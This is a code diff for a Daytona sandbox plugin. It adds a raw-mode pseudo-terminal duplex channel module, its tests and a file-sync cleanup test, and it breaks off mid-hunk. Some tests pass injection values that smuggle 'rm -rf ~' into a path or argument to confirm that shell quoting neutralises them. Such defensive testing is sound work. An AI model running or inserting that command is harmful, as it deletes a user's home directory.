@@ -0,0 +1,416 @@
+import { describe, expect, it } from "vitest";
+import {
+  buildDuplexChannelLaunchWrapper,
+  createDaytonaDuplexChannelSessionOpener,
+  openDaytonaDuplexChannelSession,
+  type DaytonaPtyCreateOptions,
+  type DaytonaPtyHandle,
+  type DaytonaPtyProcess,
+} from "./duplex-command-stream.js";
+
+// The carriage return that submits the launch wrapper line to the terminal.
+const ENTER = "\r";
+
+// The gateway command the tests run on the channel. The command is an argument
+// vector: element 0 is the program and the rest are its arguments. The real
+// command is the generated duplex gateway; the tests use a placeholder, because
+// the fake PTY runs no process.
+const GATEWAY = ["node", "/paperclip/gateway.mjs"];
+
+// The gateway argument vector after the wrapper quotes each element. The wrapper
+// quotes every argument as a single-quoted shell word.
+const GATEWAY_QUOTED = "'node' '/paperclip/gateway.mjs'";
+
+/**
+ * A fake Daytona PTY handle. It records each input write, drives the output
+ * stream on demand, and records the kill and the disconnect. The tests use it in
+ * place of the real SDK `PtyHandle`, so the session runs with no sandbox. The fake
+ * never echoes input back as output, so a test proves the channel adds no echo.
+ */
+function createFakePtyHandle(onData: (data: Uint8Array) => void | Promise<void>): DaytonaPtyHandle & {
+  inputs: string[];
+  emitText: (text: string) => void;
+  emitBytes: (bytes: Uint8Array) => void;
+  finish: (exitCode: number | undefined) => void;
+  killed: number;
+  disconnected: number;
+} {
+  const encoder = new TextEncoder();
+  const inputs: string[] = [];
+  let resolveWait: ((value: { exitCode?: number; error?: string }) => void) | null = null;
+  const waitPromise = new Promise<{ exitCode?: number; error?: string }>((resolve) => {
+    resolveWait = resolve;
+  });
+  let killed = 0;
+  let disconnected = 0;
+  return {
+    async waitForConnection(): Promise<void> {},
+    async sendInput(data: string | Uint8Array): Promise<void> {
+      inputs.push(typeof data === "string" ? data : new TextDecoder().decode(data));
+    },
+    wait(): Promise<{ exitCode?: number; error?: string }> {
+      return waitPromise;
+    },
+    async kill(): Promise<void> {
+      killed += 1;
+    },
+    async disconnect(): Promise<void> {
+      disconnected += 1;
+    },
+    // Test control below. The session never reads these fields.
+    emitText(text: string): void {
+      onData(encoder.encode(text));
+    },
+    emitBytes(bytes: Uint8Array): void {
+      onData(bytes);
+    },
+    finish(exitCode: number | undefined): void {
+      resolveWait?.({ exitCode });
+    },
+    get inputs(): string[] {
+      return inputs;
+    },
+    get killed(): number {
+      return killed;
+    },
+    get disconnected(): number {
+      return disconnected;
+    },
+  };
+}
+
+/**
+ * A fake Daytona process. It opens one fake PTY handle and records the create
+ * options, so a test asserts the terminal size and the launch wrapper.
+ */
+function createFakeProcess(): DaytonaPtyProcess & {
+  handle: ReturnType<typeof createFakePtyHandle> | null;
+  createOptions: DaytonaPtyCreateOptions | null;
+} {
+  const state: {
+    handle: ReturnType<typeof createFakePtyHandle> | null;
+    createOptions: DaytonaPtyCreateOptions | null;
+  } = { handle: null, createOptions: null };
+  return {
+    get handle() {
+      return state.handle;
+    },
+    get createOptions() {
+      return state.createOptions;
+    },
+    async createPty(options: DaytonaPtyCreateOptions): Promise<DaytonaPtyHandle> {
+      state.createOptions = options;
+      const handle = createFakePtyHandle(options.onData);
+      state.handle = handle;
+      return handle;
+    },
+  };
+}
+
+// ---------------------------------------------------------------------------
+// Characterization: which Daytona primitive carries a clean framed stream.
+// ---------------------------------------------------------------------------
+// The Daytona SDK proves two primitives. The ordinary session primitive
+// dispatches a command and tails its output, split into stdout and stderr. It
+// exposes no call that writes bytes to a running command's stdin, so it cannot
+// carry host input on the same channel as the output. The PTY primitive exposes
+// `sendInput` for host input and one `onData` callback for the output, on one live
+// socket. Only the PTY carries a bidirectional stream on one connection, so the
+// duplex channel uses the PTY. These tests record that decision against the two
+// SDK surface shapes.
+
+/** The subset of the Daytona session command surface, for the characterization. */
+interface DaytonaSessionCommandSurface {
+  createSession(sessionId: string): Promise<void>;
+  executeSessionCommand(sessionId: string, command: unknown): Promise<{ cmdId?: string }>;
+  getSessionCommandLogs(
+    sessionId: string,
+    commandId: string,
+    onStdout: (chunk: string) => void,
+    onStderr: (chunk: string) => void,
+  ): Promise<void>;
+  deleteSession(sessionId: string): Promise<void>;
+}
+
+describe("duplex primitive characterization", () => {
+  it("the PTY surface carries host input and process output on one connection", () => {
+    const process = createFakeProcess();
+    // The PTY surface exposes both directions: `sendInput` for host bytes and the
+    // `onData` create option for process bytes. This is the bidirectional shape a
+    // duplex channel needs.
+    expect(typeof process.createPty).toBe("function");
+    const handleKeys: Array<keyof DaytonaPtyHandle> = [
+      "waitForConnection",
+      "sendInput",
+      "wait",
+      "kill",
+      "disconnect",
+    ];
+    // `sendInput` is the host-to-process direction; the create option `onData` is
+    // the process-to-host direction. Both exist on the PTY primitive.
+    expect(handleKeys).toContain("sendInput");
+  });
+
+  it("the session command surface exposes no write to a running command's stdin", () => {
+    // The session surface dispatches a command and tails split stdout/stderr. No
+    // member writes bytes to a running command's stdin, so it cannot carry the
+    // host input on the output channel. The duplex channel therefore uses the PTY,
+    // not a session.
+    const sessionMembers: Array<keyof DaytonaSessionCommandSurface> = [
+      "createSession",
+      "executeSessionCommand",
+      "getSessionCommandLogs",
+      "deleteSession",
+    ];
+    expect(sessionMembers).not.toContain("sendInput" as never);
+    expect(sessionMembers).not.toContain("write" as never);
+    // The log tail splits the output into two streams; a single framed duplex
+    // stream must stay on one path, which the PTY `onData` provides.
+    expect(sessionMembers).toContain("getSessionCommandLogs");
+  });
+});
+
+// ---------------------------------------------------------------------------
+// Launch wrapper: raw mode, echo off, diagnostics to a file, direct exec.
+// ---------------------------------------------------------------------------
+
+describe("buildDuplexChannelLaunchWrapper", () => {
+  it("sets raw mode with echo off, redirects diagnostics to a file, and execs the gateway", () => {
+    const wrapper = buildDuplexChannelLaunchWrapper(GATEWAY, "/tmp/diag.log");
+
+    // Raw mode with echo off stops the terminal echoing host input as data and
+    // stops newline translation, so the newline-delimited frames stay intact.
+    expect(wrapper).toContain("stty raw -echo");
+    // The diagnostics go to the file, never to the stdout frame stream. The
+    // wrapper quotes the path as a single-quoted shell word.
+    expect(wrapper).toContain("2>'/tmp/diag.log'");
+    // The gateway starts with `exec`, so the PTY runs it directly and its exit
+    // code becomes the PTY exit code.
+    expect(wrapper).toContain(`exec ${GATEWAY_QUOTED}`);
+    // The line ends with the Enter byte, so the shell runs it.
+    expect(wrapper.endsWith(ENTER)).toBe(true);
+    // Raw mode is set before the gateway starts.
+    expect(wrapper.indexOf("stty raw -echo")).toBeLessThan(
+      wrapper.indexOf(`exec ${GATEWAY_QUOTED}`),
+    );
+  });
+
+  it("quotes a diagnostics path that holds shell metacharacters, so it cannot inject a command", () => {
+    const wrapper = buildDuplexChannelLaunchWrapper(GATEWAY, "/tmp/x; rm -rf ~");
+
+    // The path is one single-quoted word, so the shell reads the metacharacters as
+    // literal text. The dangerous `rm` never becomes its own command.
+    expect(wrapper).toContain("2>'/tmp/x; rm -rf ~'");
+    expect(wrapper).not.toContain("2>/tmp/x; rm -rf ~");
+  });
+
+  it("quotes a single quote in the diagnostics path", () => {
+    const wrapper = buildDuplexChannelLaunchWrapper(GATEWAY, "/tmp/o'clock.log");
+
+    // A single quote closes the word, adds an escaped quote, and reopens the word.
+    expect(wrapper).toContain(`2>'/tmp/o'"'"'clock.log'`);
+  });
+
+  it("quotes each command argument that holds shell metacharacters", () => {
+    const wrapper = buildDuplexChannelLaunchWrapper(
+      ["node", "/paperclip/gateway.mjs", "; rm -rf ~"],
+      "/tmp/diag.log",
+    );
+
+    // Each argument is one single-quoted word, so the metacharacters stay literal
+    // text. The dangerous `rm` argument never becomes its own command.
+    expect(wrapper).toContain(`exec 'node' '/paperclip/gateway.mjs' '; rm -rf ~'`);
+    expect(wrapper).not.toContain("; rm -rf ~;");
+    expect(wrapper).not.toContain("exec node /paperclip/gateway.mjs ; rm -rf ~");
+  });
+
+  it("rejects an empty command argument vector", () => {
+    // An empty vector has no program to exec, so the wrapper fails loudly.
+    expect(() => buildDuplexChannelLaunchWrapper([], "/tmp/diag.log")).toThrow(
+      /at least one argument/,
+    );
+  });
+});
+
+describe("openDaytonaDuplexChannelSession", () => {
+  it("starts the gateway through the raw-mode wrapper on a fixed-size terminal", async () => {
+    const process = createFakeProcess();
+
+    await openDaytonaDuplexChannelSession(process, GATEWAY);
+
+    expect(process.createOptions?.cols).toBe(120);
+    expect(process.createOptions?.rows).toBe(30);
+    const launch = process.handle?.inputs[0] ?? "";
+    expect(launch).toContain("stty raw -echo");
+    expect(launch).toContain(`exec ${GATEWAY_QUOTED}`);
+    expect(launch.endsWith(ENTER)).toBe(true);
+  });
+
+  it("redirects diagnostics to the given file path", async () => {
+    const process = createFakeProcess();
+
+    await openDaytonaDuplexChannelSession(process, GATEWAY, {
+      diagnosticsPath: "/tmp/paperclip-duplex-fixed.log",
+    });
+
+    expect(process.handle?.inputs[0]).toContain("2>'/tmp/paperclip-duplex-fixed.log'");
+  });
+
+  it("defaults the diagnostics path under /tmp when the caller gives none", async () => {
+    const process = createFakeProcess();
+
+    await openDaytonaDuplexChannelSession(process, GATEWAY);
+
+    expect(process.handle?.inputs[0]).toMatch(/2>'\/tmp\/paperclip-duplex-[0-9a-f-]+\.log'/);
+  });
+
+  it("delivers a host write to the process and does not echo it back as data", async () => {
+    const process = createFakeProcess();
+    const received: string[] = [];
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    session.onData((chunk) => received.push(chunk));
+
+    // The launch wrapper is the first input; the host frame write is the second.
+    session.write('{"version":1,"type":"heartbeat"}\n');
+    expect(process.handle?.inputs[1]).toBe('{"version":1,"type":"heartbeat"}\n');
+    // The fake terminal echoes nothing, so the write produces no data callback.
+    // A real terminal in raw mode with echo off behaves the same way.
+    expect(received).toEqual([]);
+  });
+
+  it("keeps the data order and the frame newlines intact", async () => {
+    const process = createFakeProcess();
+    const received: string[] = [];
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    session.onData((chunk) => received.push(chunk));
+
+    process.handle?.emitText('{"version":1,"type":"ready","address":"127.0.0.1:8080"}\n');
+    process.handle?.emitText('{"version":1,"type":"heartbeat"}\n');
+
+    // The order is preserved and no newline is translated (no stray "\r").
+    expect(received).toEqual([
+      '{"version":1,"type":"ready","address":"127.0.0.1:8080"}\n',
+      '{"version":1,"type":"heartbeat"}\n',
+    ]);
+    expect(received.join("")).not.toContain("\r");
+  });
+
+  it("reassembles a frame split across two output chunks", async () => {
+    const process = createFakeProcess();
+    const received: string[] = [];
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    session.onData((chunk) => received.push(chunk));
+
+    const frame = '{"version":1,"type":"response","id":"r1","status":200,"headers":{},"body":"","outcome":"completed"}\n';
+    process.handle?.emitText(frame.slice(0, 20));
+    process.handle?.emitText(frame.slice(20));
+
+    expect(received.join("")).toBe(frame);
+  });
+
+  it("carries a large frame without loss", async () => {
+    const process = createFakeProcess();
+    const received: string[] = [];
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    session.onData((chunk) => received.push(chunk));
+
+    const body = "x".repeat(500_000);
+    const frame = `{"version":1,"type":"response","id":"big","status":200,"headers":{},"body":"${body}","outcome":"completed"}\n`;
+    process.handle?.emitText(frame);
+
+    expect(received.join("")).toBe(frame);
+    expect(received.join("").length).toBe(frame.length);
+  });
+
+  it("keeps a multibyte character whole across two output chunks", async () => {
+    const process = createFakeProcess();
+    const received: string[] = [];
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    session.onData((chunk) => received.push(chunk));
+
+    // The euro sign is three UTF-8 bytes. Split it across two chunks, so the
+    // stream decoder must join the bytes.
+    const euro = new TextEncoder().encode("€");
+    process.handle?.emitBytes(euro.subarray(0, 2));
+    process.handle?.emitBytes(euro.subarray(2));
+
+    expect(received.join("")).toBe("€");
+  });
+
+  it("buffers early output until the listener registers", async () => {
+    const process = createFakeProcess();
+    const received: string[] = [];
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    // Output arrives before the transport registers the listener.
+    process.handle?.emitText('{"version":1,');
+    process.handle?.emitText('"type":"heartbeat"}\n');
+    expect(received).toEqual([]);
+
+    session.onData((chunk) => received.push(chunk));
+    // The session flushes the buffered output in order on registration.
+    expect(received).toEqual(['{"version":1,"type":"heartbeat"}\n']);
+  });
+
+  it("resolves wait with the gateway exit code", async () => {
+    const process = createFakeProcess();
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    process.handle?.finish(3);
+
+    await expect(session.wait()).resolves.toEqual({ exitCode: 3 });
+  });
+
+  it("maps an absent exit code to null", async () => {
+    const process = createFakeProcess();
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    process.handle?.finish(undefined);
+
+    await expect(session.wait()).resolves.toEqual({ exitCode: null });
+  });
+
+  it("kills the child on stop and releases the socket on close", async () => {
+    const process = createFakeProcess();
+
+    const session = await openDaytonaDuplexChannelSession(process, GATEWAY);
+    session.kill();
+    expect(process.handle?.killed).toBe(1);
+
+    await session.close();
+    // Close stops the child and releases the socket, so a closed channel holds no
+    // live terminal.
+    expect(process.handle?.killed).toBeGreaterThanOrEqual(1);
+    expect(process.handle?.disconnected).toBe(1);
+  });
+
+  it("passes the working directory to the pseudo-terminal", async () => {
+    const process = createFakeProcess();
+
+    await openDaytonaDuplexChannelSession(process, GATEWAY, { cwd: "/paperclip-workspace" });
+
+    expect(process.createOptions?.cwd).toBe("/paperclip-workspace");
+  });
+});
+
+describe("createDaytonaDuplexChannelSessionOpener", () => {
+  it("opens a session for the command on each call", async () => {
+    const process = createFakeProcess();
+    const opener = createDaytonaDuplexChannelSessionOpener(process, { cwd: "/paperclip-workspace" });
+
+    const session = await opener(GATEWAY);
+
+    expect(process.createOptions?.cwd).toBe("/paperclip-workspace");
+    expect(process.handle?.inputs[0]).toContain(`exec ${GATEWAY_QUOTED}`);
+    expect(typeof session.onData).toBe("function");
+    expect(typeof session.write).toBe("function");
+    expect(typeof session.wait).toBe("function");
+    expect(typeof session.kill).toBe("function");
+    expect(typeof session.close).toBe("function");
+  });
+});
diff --git a/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.ts b/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.ts
new file mode 100644
index 00000000000..9651f657143
--- /dev/null
+++ b/packages/plugins/sandbox-providers/daytona/src/duplex-command-stream.ts
@@ -0,0 +1,229 @@
+// The Daytona duplex command stream for the sandbox callback bridge. The bridge
+// needs one live bidirectional byte stream: the host writes request frames to the
+// process, and the process writes response frames back, on one connection while
+// the command runs. This module binds a Daytona pseudo-terminal (PTY) to a small
+// session that the duplex transport consumes, so the gateway runs on a real
+// terminal, streams its output, and receives host input.
+//
+// Primitive choice (the first acceptance criterion of the phase): the Daytona SDK
+// proves two primitives. The ordinary session primitive (`createSession` plus
+// `executeSessionCommand` plus `getSessionCommandLogs`) dispatches a command and
+// tails its output, split into separate stdout and stderr streams. It exposes no
+// call that writes bytes to a running command's stdin. The PTY primitive
+// (`createPty`) exposes `sendInput` for host-to-process bytes and one `onData`
+// callback for process-to-host bytes, on one live socket. Only the PTY carries a
+// bidirectional stream on one connection, so this module uses the PTY. The
+// characterization test in `duplex-command-stream.test.ts` records the evidence.
+//
+// Clean stream: a PTY echoes its input and translates newlines by default
+// (`ICRNL` on input, `ONLCR` on output). The frames are newline-delimited JSON, so
+// echo and newline translation corrupt the stream. The launch wrapper runs
+// `stty raw -echo` before it starts the gateway, so the terminal becomes an 8-bit
+// transparent path with no echo and no newline translation. The wrapper also
+// redirects the gateway diagnostics to a file, so a diagnostic line never reaches
+// the stdout frame stream. The wrapper starts the gateway with `exec`, so the PTY
+// runs the gateway directly and the gateway exit code becomes the PTY exit code.
+//
+// Dependency boundary: this provider plugin ships standalone (the workspace
+// excludes `packages/plugins/sandbox-providers/**`). So the module imports no
+// workspace package. It reuses the narrow Daytona PTY surface that
+// `setup-token-pty.ts` declares (`DaytonaPtyProcess`, `DaytonaPtyHandle`,
+// `DaytonaPtyCreateOptions`), so a caller passes `sandbox.process` with no
+// adapter. The narrow surface keeps the module unit-testable with a fake PTY.
+
+import { randomUUID } from "node:crypto";
+
+import type {
+  DaytonaPtyCreateOptions,
+  DaytonaPtyHandle,
+  DaytonaPtyProcess,
+} from "./setup-token-pty.js";
+
+export type {
+  DaytonaPtyCreateOptions,
+  DaytonaPtyHandle,
+  DaytonaPtyProcess,
+} from "./setup-token-pty.js";
+
+/**
+ * A live duplex channel session for one command. The session allocates a real
+ * pseudo-terminal in raw mode, streams the raw output, accepts host input, and
+ * stops the child. The shape matches the worker duplex channel session, so the
+ * worker forwards the data and the exit with no adapter.
+ */
+export interface DuplexChannelSession {
+  /** Registers the one data listener. The session streams each raw chunk in order. */
+  onData(listener: (chunk: string) => void): void;
+  /** Writes raw input bytes to the pseudo-terminal. */
+  write(data: string): void;
+  /** Resolves with the child exit code when the command ends. */
+  wait(): Promise<{ exitCode: number | null }>;
+  /** Stops the child process. Safe to call more than one time. */
+  kill(): void;
+  /** Releases the session resources. Safe to call more than one time. */
+  close(): Promise<void>;
+}
+
+/**
+ * Opens a {@link DuplexChannelSession} for `command`. The transport calls it one
+ * time. `command` is an argument vector: element 0 is the program and the rest
+ * are its arguments. The session quotes each element, so a shell metacharacter in
+ * an element cannot inject a shell command.
+ */
+export type DuplexChannelSessionOpener = (
+  command: readonly string[],
+) => Promise<DuplexChannelSession>;
+
+/** The options for the Daytona duplex channel session. */
+export interface DaytonaDuplexChannelOptions {
+  /** The working directory for the duplex channel PTY. Defaults to the sandbox default. */
+  cwd?: string;
+  /**
+   * The absolute sandbox path for the gateway diagnostics. The wrapper redirects
+   * the terminal's stderr to this path, so a diagnostic line never reaches the
+   * stdout frame stream. Defaults to a per-channel path under `/tmp`.
+   */
+  diagnosticsPath?: string;
+}
+
+// The terminal size for the duplex channel PTY. The channel carries bytes, not a
+// visible UI, so a fixed standard size is enough. A fixed size keeps the launch
+// deterministic.
+const DUPLEX_CHANNEL_PTY_COLS = 120;
+const DUPLEX_CHANNEL_PTY_ROWS = 30;
+
+/**
+ * The input terminator that submits the launch wrapper line. The terminal reads
+ * the carriage return as the Enter key, so the shell runs the wrapper line.
+ */
+const PTY_COMMAND_TERMINATOR = "\r";
+
+/**
+ * Quotes one value for a POSIX shell. The result is one single-quoted word, so
+ * the shell reads it as literal text and never expands or splits it. The function
+ * closes the quote, adds an escaped single quote, and reopens the quote for each
+ * single quote in the value.
+ */
+function shellQuote(value: string): string {
+  return `'${value.replace(/'/g, `'"'"'`)}'`;
+}
+
+/**
+ * Builds the launch wrapper input line for the duplex channel. `command` is an
+ * argument vector: element 0 is the program and the rest are its arguments.
+ *
+ * The wrapper does three steps in order:
+ *   1. `exec 2>'<diagnosticsPath>'` redirects the shell's stderr to the file. The
+ *      later `exec` inherits it, so the gateway diagnostics land in the file and
+ *      never on the stdout frame stream.
+ *   2. `stty raw -echo` sets the terminal to raw mode with echo off, so the
+ *      terminal neither echoes host input as data nor translates newlines.
+ *   3. `exec '<program>' '<arg>'...` replaces the shell with the gateway, so the
+ *      PTY runs the gateway directly and the gateway exit code becomes the PTY
+ *      exit code.
+ *
+ * The wrapper quotes the diagnostics path and every command argument as a
+ * single-quoted shell word. So a shell metacharacter in a path or an argument
+ * stays literal text and cannot inject a shell command.
+ */
+export function buildDuplexChannelLaunchWrapper(
+  command: readonly string[],
+  diagnosticsPath: string,
+): string {
+  if (command.length === 0) {
+    throw new Error("The duplex channel launch command needs at least one argument.");
+  }
+  const quotedCommand = command.map(shellQuote).join(" ");
+  return (
+    `exec 2>${shellQuote(diagnosticsPath)}; stty raw -echo; ` +
+    `exec ${quotedCommand}${PTY_COMMAND_TERMINATOR}`
+  );
+}
+
+/**
+ * Opens a Daytona duplex channel PTY session for `command` and returns it as a
+ * {@link DuplexChannelSession}. The session allocates a real pseudo-terminal in
+ * raw mode, streams the raw output, accepts host input, and stops the child.
+ *
+ * The function decodes the terminal bytes as a UTF-8 stream, so a multibyte
+ * character that splits across two output chunks stays whole. It buffers the
+ * output until the transport registers the listener, so no early chunk is lost.
+ */
+export async function openDaytonaDuplexChannelSession(
+  process: DaytonaPtyProcess,
+  command: readonly string[],
+  options?: DaytonaDuplexChannelOptions,
+): Promise<DuplexChannelSession> {
+  const decoder = new TextDecoder("utf-8");
+  let listener: ((chunk: string) => void) | null = null;
+  let buffered = "";
+
+  const diagnosticsPath =
+    options?.diagnosticsPath ?? `/tmp/paperclip-duplex-${randomUUID()}.log`;
+
+  const handle = await process.createPty({
+    id: `paperclip-duplex-${randomUUID()}`,
+    ...(options?.cwd ? { cwd: options.cwd } : {}),
+    cols: DUPLEX_CHANNEL_PTY_COLS,
+    rows: DUPLEX_CHANNEL_PTY_ROWS,
+    onData: (data: Uint8Array): void => {
+      // Decode the terminal bytes as a stream, so a split multibyte character
+      // stays whole across two chunks. Forward the raw text; the frame codec owns
+      // the newline-delimited JSON parsing.
+      const text = decoder.decode(data, { stream: true });
+      if (text.length === 0) return;
+      if (listener) listener(text);
+      else buffered += text;
+    },
+  });
+
+  await handle.waitForConnection();
+  // Start the gateway through the raw-mode wrapper. Raw mode with echo off stops
+  // the terminal from echoing host input back as data and from translating the
+  // frame newlines. The diagnostics redirect keeps the stdout frame stream clean.
+  await handle.sendInput(buildDuplexChannelLaunchWrapper(command, diagnosticsPath));
+
+  return {
+    onData(next: (chunk: string) => void): void {
+      listener = next;
+      if (buffered.length > 0) {
+        const pending = buffered;
+        buffered = "";
+        next(pending);
+      }
+    },
+    write(data: string): void {
+      // Fire the input write. A write error must not throw into the transport, so
+      // the transport's stream stays the single result path.
+      void handle.sendInput(data).catch(() => undefined);
+    },
+    async wait(): Promise<{ exitCode: number | null }> {
+      const result = await handle.wait();
+      return { exitCode: typeof result.exitCode === "number" ? result.exitCode : null };
+    },
+    kill(): void {
+      void handle.kill().catch(() => undefined);
+    },
+    async close(): Promise<void> {
+      // Stop the child and release the socket. `kill` ends the gateway and `wait`
+      // resolves with the exit; `disconnect` releases the PTY socket. Both are
+      // safe to call more than one time, so close stays idempotent.
+      await handle.kill().catch(() => undefined);
+      await handle.disconnect().catch(() => undefined);
+    },
+  };
+}
+
+/**
+ * Creates a {@link DuplexChannelSessionOpener} bound to a Daytona `process`. Pass
+ * `sandbox.process` from the Daytona SDK. The opener runs the gateway command on a
+ * raw pseudo-terminal, streams the output, accepts host input, and stops the child
+ * for a terminal state.
+ */
+export function createDaytonaDuplexChannelSessionOpener(
+  process: DaytonaPtyProcess,
+  options?: DaytonaDuplexChannelOptions,
+): DuplexChannelSessionOpener {
+  return (command: readonly string[]) =>
+    openDaytonaDuplexChannelSession(process, command, options);
+}
diff --git a/packages/plugins/sandbox-providers/daytona/src/file-sync.test.ts b/packages/plugins/sandbox-providers/daytona/src/file-sync.test.ts
new file mode 100644
index 00000000000..6b171e58636
--- /dev/null
+++ b/packages/plugins/sandbox-providers/daytona/src/file-sync.test.ts
@@ -0,0 +1,155 @@
+import { promises as fs } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
+
+// The plugin module imports `@daytonaio/sdk` as a value, but the sync tests never
+// touch a real Daytona client — every sandbox call goes through a local mock. Stub
+// the SDK so the import resolves without the excluded provider package.
+import { vi } from "vitest";
+vi.mock("@daytonaio/sdk", () => ({
+  Daytona: class MockDaytona {},
+  DaytonaNotFoundError: class MockDaytonaNotFoundError extends Error {},
+  DaytonaTimeoutError: class MockDaytonaTimeoutError extends Error {},
+}));
+
+import { performSyncIn } from "./file-sync.js";
+import type { PluginSyncOperation } from "@paperclipai/plugin-sdk";
+
+// One recorded in-sandbox command, so a test can assert the exact cleanup command.
+interface RecordedCommand {
+  command: string;
+}
+
+// Build a mock Daytona sandbox for the inbound directory path. `executeCommand`
+// records every command and returns exit 0, except that any command whose text
+// matches `failCommandMatch` returns exit 1 (to simulate an extract failure).
+// `uploadFiles` records each upload destination so a test can read the reserved
+// scratch tar path the runtime chose.
+function createMockSandbox(input: {
+  failCommandMatch?: RegExp;
+  uploadedDestinations: string[];
+  commands: RecordedCommand[];
+}) {
+  return {
+    process: {
+      executeCommand: async (command: string) => {
+        input.commands.push({ command });
+        if (input.failCommandMatch && input.failCommandMatch.test(command)) {
+          return { exitCode: 1, result: "simulated extract failure" };
+        }
+        return { exitCode: 0, result: "" };
+      },
+    },
+    fs: {
+      uploadFiles: async (uploads: Array<{ source: string; destination: string }>) => {
+        for (const upload of uploads) input.uploadedDestinations.push(upload.destination);
+      },
+    },
+  };
+}
+
+describe("daytona file-sync inbound scratch cleanup", () => {
+  const cleanupDirs: string[] = [];
+
+  afterEach(async () => {
+    while (cleanupDirs.length > 0) {
+      const dir = cleanupDirs.pop();
+      if (!dir) continue;
+      await fs.rm(dir, { recursive: true, force: true }).catch(() => undefined);
+    }
+  });
+
+  it("removes the reserved scratch tar when a directory extraction fails", async () => {
+    const rootDir = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-daytona-scratch-"));
+    cleanupDirs.push(rootDir);
+    const sourceDir = path.join(rootDir, "referenced-project");
+    await fs.mkdir(sourceDir, { recursive: true });
+    await fs.writeFile(path.join(sourceDir, "README.md"), "referenced project\n", "utf8");
+
+    const remoteDir = "/workspace";
+    const targetPath = "/workspace/.paperclip-runtime/test-adapter/project-abc";
+    const uploadedDestinations: string[] = [];
+    const commands: RecordedCommand[] = [];
+    // Fail the extract round trip (the only command that runs `tar -xf`).
+    const sandbox = createMockSandbox({
+      failCommandMatch: /tar -xf/,
+      uploadedDestinations,
+      commands,
+    });
+
+    const operations: PluginSyncOperation[] = [{
+      operationId: "sync-op-1",
+      files: [{ sourcePath: sourceDir, targetPath, kind: "directory" }],
+    }];
+
+    await expect(
+      performSyncIn({
+        // The mock stands in for the Daytona SDK Sandbox; only the two methods the
+        // inbound directory path calls are needed.
+        sandbox: sandbox as never,
+        operations,
+        remoteDir,
+        timeoutSeconds: 30,
+      }),
+    ).rejects.toThrow(/syncIn extract/);
+
+    // The runtime uploaded exactly one reserved scratch tar under the workspace
+    // root. Its name carries the reserved `.paperclip-upload-` prefix.
+    expect(uploadedDestinations).toHaveLength(1);
+    const scratchTar = uploadedDestinations[0];
+    expect(scratchTar).toContain(".paperclip-upload-");
+    expect(scratchTar.startsWith(`${remoteDir}/`)).toBe(true);
+
+    // The failure path swept the scratch tar: a standalone `rm -f` of the exact
+    // scratch path ran after the failed extract. The extract command itself also
+    // contains an `rm -f`, so the cleanup is the `rm -f` command that does NOT run
+    // `tar -xf`.
+    const cleanupCommands = commands.filter(
+      (entry) =>
+        entry.command.includes(scratchTar) &&
+        entry.command.includes("rm -f") &&
+        !entry.command.includes("tar -xf"),
+    );
+    expect(cleanupCommands.length).toBeGreaterThan(0);
+  });
+
+  it("does not sweep scratch on the happy path (extract removes it)", async () => {
+    const rootDir = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-daytona-scratch-"));
+    cleanupDirs.push(rootDir);
+    const sourceDir = path.join(rootDir, "referenced-project");
+    await fs.mkdir(sourceDir, { recursive: true });
+    await fs.writeFile(path.join(sourceDir, "README.md"), "referenced project\n", "utf8");
+
+    const remoteDir = "/workspace";
+    const targetPath = "/workspace/.paperclip-runtime/test-adapter/project-abc";
+    const uploadedDestinations: string[] = [];
+    const commands: RecordedCommand[] = [];
+    // No failure: every command succeeds, so the extract's own `rm -f` clears the
+    // scratch and no extra cleanup round trip runs.
+    const sandbox = createMockSandbox({ uploadedDestinations, commands });
+
+    const operations: PluginSyncOperation[] = [{
+      operationId: "sync-op-1",
+      files: [{ sourcePath: sourceDir, targetPath, kind: "directory" }],
+    }];
+
+    await performSyncIn({
+      sandbox: sandbox as never,
+      operations,
+      remoteDir,
+      timeoutSeconds: 30,
+    });
+
+    const scratchTar = uploadedDestinations[0];
+    // The standalone cleanup command (a `rm -f` without `tar -xf`) never runs on the
+    // happy path — only the extract command, which ends with its own `rm -f`.
+    const standaloneRemoves = commands.filter(
+      (entry) =>
+        entry.command.includes(scratchTar) &&
+        entry.command.includes("rm -f") &&
+        !entry.command.includes("tar -xf"),
+    );
+    expect(standaloneRemoves).toHaveLength(0);
+  });
+});
diff --git a/packages/plugins/sandbox-providers/daytona/src/file-sync.ts b/packages/plugins/sandbox-providers/daytona/src/file-sync.ts
index 8a84dd5d34e..9a613dbd778 100644
--- a/packages/plugins/sandbox-providers/daytona/src/file-sync.ts
+++ b/packages/plugins/sandbox-providers/daytona/src/file-sync.ts
@@ -24,6 +24,10 @@ const SPAN_ATTR = {
   packWallMs: `${SPAN_ATTR_PREFIX}pack.wall_ms`,
   transferWallMs: `${SPAN_ATTR_PREFIX}transfer.wall_ms`,
   transferGuardCount: `${SPAN_ATTR_PREFIX}transfer.guard.count`,
+  // The transfer direction: `inbound` for an upload to the sandbox, `outbound`
+  // for a download from the sandbox. Operation identity comes from the parent
+  // span, so the transfer span never carries an operation label.
+  transferDirection: `${SPAN_ATTR_PREFIX}transfer.direction`,
 } as const;
 
 /** The value of `SpanStatusCode.ERROR` in `@opentelemetry/api`. The plugin stays
@@ -532,7 +536,10 @@ async function syncInFileMappings(input: {
     await withProviderSpan({
       name: "transfer",
       wallMsAttr: SPAN_ATTR.transferWallMs,
-      attributes: { [SPAN_ATTR.transferGuardCount]: guardRoundTrips },
+      attributes: {
+        [SPAN_ATTR.transferGuardCount]: guardRoundTrips,
+        [SPAN_ATTR.transferDirection]: "inbound",
+      },
       run: () => sandbox.fs.uploadFiles(uploads, timeoutSeconds),
     });
 
@@ -655,52 +662,67 @@ async function syncInDirectoryMapping(input: {
         }),
     });
     guardRoundTrips += 1;
-    // `transfer` span: the real byte upload — `sandbox.fs.uploadFiles`.
-    await withProviderSpan({
